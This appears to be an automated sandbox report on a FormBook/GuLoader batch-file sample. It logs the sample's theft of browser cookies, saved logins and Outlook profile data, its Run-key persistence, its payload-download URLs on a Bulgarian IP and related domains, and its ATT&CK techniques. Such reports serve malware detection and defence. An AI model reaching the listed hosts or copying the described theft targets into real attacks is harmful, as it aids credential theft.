Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	411 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Doc_004024024001.bat	5%	ReversingLabs	Text.Trojan.Generic
Doc_004024024001.bat	2%	Virustotal		Browse

Source	Detection	Scanner	Link
www.oyoing.com	10%	Virustotal	Browse
www.tyaer.com	11%	Virustotal	Browse
www.theplays.shop	0%	Virustotal	Browse
www.megabet303.lol	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://87.121.H:	0%	Avira URL Cloud	safe
http://www.microsoft.coe	0%	Avira URL Cloud	safe
http://87.121.105.163/Punktet.hhpP	0%	Avira URL Cloud	safe
http://87.121.105.163/Punktet.hhp	0%	Avira URL Cloud	safe
http://87.121.105.163	0%	Avira URL Cloud	safe
http://87.121.105.163	18%	Virustotal		Browse
http://87.121.105.163/Punktet.hhpXR	0%	Avira URL Cloud	safe
http://87.121.105.163/TjtonPwEiP175.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.oyoing.com	127.0.0.1	true	false	10%, Virustotal, Browse	unknown
www.tyaer.com	47.91.88.207	true	false	11%, Virustotal, Browse	unknown
www.theplays.shop	172.67.152.117	true	false	0%, Virustotal, Browse	unknown
www.megabet303.lol	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://87.121.105.163/Punktet.hhp	false	Avira URL Cloud: safe	unknown
http://87.121.105.163/TjtonPwEiP175.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.microsoft.coe	powershell.exe, 00000005.00000002.2020862887.0000000007432000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.105.163/Punktet.hhpP	powershell.exe, 00000002.00000002.2211361743.000001C0A96AA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://87.121.H:	powershell.exe, 00000002.00000002.2211361743.000001C0AB31E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.2009616507.00000000048F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.2211361743.000001C0AA863000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://87.121.105.163	powershell.exe, 00000002.00000002.2211361743.000001C0AB31E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2211361743.000001C0A96AA000.00000004.00000800.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2211361743.000001C0A9481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.105.163/Punktet.hhpXR	powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2211361743.000001C0A9481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2009616507.00000000048F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.121.105.163	unknown	Bulgaria		43561	NET1-ASBG	false
47.91.88.207	www.tyaer.com	United States		45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431497
Start date and time:	2024-04-25 10:36:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Doc_004024024001.bat
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winBAT@20/10@6/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5984 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6528 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:38:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run PX5H4 C:\Program Files (x86)\windows mail\wab.exe
09:38:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run PX5H4 C:\Program Files (x86)\windows mail\wab.exe
10:36:54	API Interceptor	116x Sleep call for process: powershell.exe modified
10:38:38	API Interceptor	13x Sleep call for process: AtBroker.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
87.121.105.163	Ordine_doc_419024001904.wsf	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/icjFpYDkBweqyeZ252.bin
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/vhhJQWfiJN142.bin
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/fBizb192.bin
	BRUFEN ORDER VAC442_7467247728478134247.vbs	Get hash	malicious	GuLoader, Remcos	Browse	87.121.105.163/DtExZZndAxdvvlCKCcIVF127.bin
	SCMP_#U547d#U4ee4_004020024001.wsf	Get hash	malicious	Unknown	Browse	87.121.105.163/Assumes122.java
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/kvRPYpXycVNsTooeadG247.bin
	HTMCDevalueringstidspunkts2024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	87.121.105.163/dFQwNyOh122.bin
	rOferta_SKGNMECLemnedefinitionen353523577.wsf	Get hash	malicious	GuLoader, Remcos	Browse	87.121.105.163/DtExZZndAxdvvlCKCcIVF127.bin
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/icjFpYDkBweqyeZ252.bin
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/sssSAXCCU156.bin
47.91.88.207	Ordine_doc_419024001904.wsf	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse
	f4CdNDrJp8.exe	Get hash	malicious	FormBook	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.theplays.shop	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	172.67.152.117
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.152.117
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.74.5
	f4CdNDrJp8.exe	Get hash	malicious	FormBook	Browse	172.67.152.117
	BoTl06PDGl.exe	Get hash	malicious	FormBook	Browse	104.21.74.5
www.tyaer.com	Ordine_doc_419024001904.wsf	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	f4CdNDrJp8.exe	Get hash	malicious	FormBook	Browse	47.91.88.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	Ordine_doc_419024001904.wsf	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163
	http://94.156.79.129/x86_64	Get hash	malicious	Unknown	Browse	94.156.79.129
	http://94.156.79.129/i686	Get hash	malicious	Unknown	Browse	94.156.79.129
	0ADLfPX6HX.elf	Get hash	malicious	Unknown	Browse	94.156.79.77
	WQiDRxwDWv.elf	Get hash	malicious	Unknown	Browse	94.156.8.57
	i6MGE0UeYG.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	xBIc1DYAU8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	QVorHPgh3b.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	Ptge3TuHFs.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	EfsIiZhHxS.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	Ordine_doc_419024001904.wsf	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	8.222.188.22
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	147.139.212.194
	b3astmode.x86.elf	Get hash	malicious	Unknown	Browse	8.220.214.169
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	2.jpg.exe	Get hash	malicious	CobaltStrike, Metasploit, ReflectiveLoader	Browse	8.218.236.5
	http://www.sushi-idea.com	Get hash	malicious	Unknown	Browse	47.246.136.185

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.886255615007755
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdiVFn3eGOVpN6K3bkkjo5agkjDt4iWN3yBGHB9sT:lVib49+VoGIpN6KQkj2xkjh4iUx4cYK6
MD5:	C7F7A26360E678A83AFAB85054B538EA
SHA1:	B9C885922370EE7573E7C8CF0DDB8D97B7F6F022
SHA-256:	C3D527BCA7A1D1A398F5BE0C70237BD69281601DFD7D1ED6D389B2FD8E3BC713
SHA-512:	9F2F9DA5F4BF202A08BADCD4EF9CE159269EF47B657C6F67DC3C9FDB4EE0005CE5D0A9B4218DB383BAD53222B728B77B591CB5F41781AB30EF145CC7DB7D4F77
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bc32zhws.imz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fy3mpi5u.ni3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocinpzcp.ykt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tkjrsfcx.y4n.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\s5497I81

Download File

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7396083582095976
Encrypted:	false
SSDEEP:	96:y4J33CxHDfkvhkvCCttgQSuCHugQSu5Hm:y4JyjDt/F/G
MD5:	CB79D11FC4123109D2EED62D35CBDA44
SHA1:	025E6C171643BDA48E9184A81E96653025CC2E9F
SHA-256:	FDE0300CEE364EB2204135260989EC3BD77D1338255C1D6CF5A346CA62C2BF2D
